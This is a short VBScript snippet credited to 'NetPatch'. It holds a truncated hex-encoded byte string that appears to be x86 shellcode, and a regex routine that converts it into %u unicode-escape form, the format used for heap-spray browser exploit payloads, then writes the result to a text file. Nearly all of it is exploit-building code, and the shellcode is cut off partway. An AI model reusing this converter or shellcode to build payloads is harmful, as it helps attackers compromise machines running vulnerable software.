'code by NetPatch 

code="/x29/xc9/x83/xe9/xa1/xd9/xee/xd9/x74/x24/xf4/x5b/x81/x73/x13/x92/x06/x5b/x18/x83/xeb/xfc/xe2/xf4/x79/x16/x01/x52/xa1/xcf/x3d/xa1/xae/x07/xdb/x2c/x98/x9f/xb9/xe2/x79/x03/xb3/xf3/x6d/xf9/xa4/x68/xde/x9f/xc2/x81/x51/xfb/x63/xb1/x0b/x9f/xc2/x0a/x4b/x93/x49/xf1/x17/x32/x49/xc1/x03/x14/x1a/x0a/x78/xa3/…………………………" 
function replaceregex(str)  
set regex=new regExp  
regex.pattern="//x(..)//x(..)" 
regex.IgnoreCase=true  
regex.global=true  
matches=regex.replace(str,"%u$2$1")  
replaceregex=matches  
end Function 
set fso=CreateObject("scripting.filesystemobject") 
set fileS=fso.opentextfile("a.txt",8,true) 
fileS.writeline replaceregex(code) 
files.close 
set fso=nothing